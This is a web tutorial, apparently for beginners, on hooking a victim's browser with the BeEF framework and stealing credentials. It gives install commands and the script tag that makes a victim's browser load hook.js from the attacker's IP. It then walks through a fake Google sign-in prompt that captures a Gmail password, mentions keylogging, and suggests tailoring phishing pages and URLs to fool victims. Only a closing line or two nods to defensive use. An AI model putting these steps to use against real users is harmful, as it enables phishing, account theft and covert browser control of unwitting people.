Table of Contents
Hello learners, in this guide we will be applying both beef hacking and social engineering to steal credentials from our target’s browser. Man in the browser hacking is very difficult to detect since the attacker will disguise himself as a normal or verified user in order to obtain information either way(from user and from the server). A hacker sits in the middle of the communication channel between the server and the website user.
Brief Introduction to BEeF
The word BEeF stands for Browser Exploitation Framework. It utilizes the client side attack vectors to asses the security level of the target environment. Beef hacking involves hooking one or more web browsers and using them to launch command modules to attack the target system within the browser context. Each browser may have a different set of attack vectors since each is within different security context.
- Have Ruby Installed (version 2.5 or newer)
- Have Node.js (10 or newer)
- Have SQLite.
- Have the gems listed in the Gem file
- Have Mac OSX 10.5.0 or higher (modern Linux)
SQLite is a DBMS contained in C library but it is different from other database management systems in that it is not a client-server database engine rather it is embedded in the program. It comes pre-installed on Kali Linux.
Installing SQLite on linux we just need a single command.
sudo apt-get install sqlite3
Ruby is an opensource and dynamic programming language which is focused on simplicity. It is installed by default on Linux. But in case you find it missing you can install it by running the below command.
sudo apt-get install ruby-full
Gems are ruby files used to extend its applications functionalities. They contains re-usable functions shared among Ruby users. We will install gemfiles using bundler since it makes it easier to install many gems in a single command.
We open a terminal window and run below command to install bundler.
gem install bundler
We start by creating an empty gemfile on our beef-xss root folder and we copy paste the required gems in the gemfile. We then install the required gems from the specified sources using below commands.
$ bundle install $ git add Gemfile Gemfile.lock
Steps to perform BEeF Hacking
With that in mind, let’s jump right into beef hacking.
Step 1: Installing BEeF
BEeF does not come pre-installed on newer versions of Kali Linux (from version 2019.3) but if you update an older version of Kali Linux you will not loose the BEeF framework. But you have to make sure to use “beef-xss” to launch the framework instead of “beef” as it was on earlier version. However, if you had BEeF pre-installed before or you have to install it, the installation command is the same.
sudo apt install beef-xss
Step 2: Launching beef hacking framework
After installing BEef we now move on to the second step which is starting the framework in order to access the user interface and get the hook we need to attack our victim.
The web UI should look like the one below
And after logging in we have a view that looks as shown below. From here you can see the hacked browsers both online and offline.
Step 3: Hooking the target web browser
Once we have logged into beef hacking framework UI, we now have to create a hook from which we will be able to attack the victim. The hook script looks like this.
<script src="http://<IP ADDRESS>:3000/hook.js"></script>
Where we have IP you have to replace it with your IP address from where your victim’s browser will hook back to. Beef hacking framework provides for a demo site which can be accessed via
But we will be creating our own HTML file from where will add our hook.
<html> <head> <title>BEEF HACKING</title> <script src="http://127.0.0.1:3000/hook.js"></script> </head> <body> <h1>YOU HAVE BEEN HACKED!!!</h1> </body> </html>
We now have to run our HTML file on a web browser.
As you can see we have our victims web browser hooked.
Step 4: Executing commands on the victim’s browser
We now have a beef hacking hook on the victim’s browser and we can execute numerous commands within the beef hacking framework in order to collect important information we may require from the victim’s browser. some of the capabilities available on beef hacking framework are as shown below categorically.
As you can see we have over 100 commands which we can use against the victims’ browsers.
Step 5: Launching a social-engineering attack
In this guide we will try and carry out a social engineering attack on our victim in order to acquire the user’s login details. we just have to select the command we need and execute it.
We will be acquiring the user’s g mail login details. Once we execute the command,the victim will be redirected to a webpage similar to the google login page requiring him/her to her username and password as shown below.
And once the user enters his/her username and password we will be ale to view it right from our beef hacking framework(see image below). After the user clicks the sign in button, he/she will be redirected to the official google sign in page. This aids in making the attack more stealth.
We now have the user’s email username and password. Beef hacking framework also acts as an advanced keylogger and it is able to collect the keys that have been clicked by a victim while using the browser this makes it more dangerous.
Beef hacking framework is a powerful tool that can be leveraged by systems security professionals to try and design systems especially web apps which are safe for use by the end user. A hacker with the necessary knowledge can also add his own modifications on beef hacking framework to make it more powerful. For example, A hacker can design the login page of any website he needs information from and even customize the URLs of the phishing page to make them look more believable in the eyes of the victim. We as users of the internet, we should avoid visiting malicious and insecure websites to avoid being victims of beef hacking. We should also check the authenticity of web pages which require us to provide them with personal details.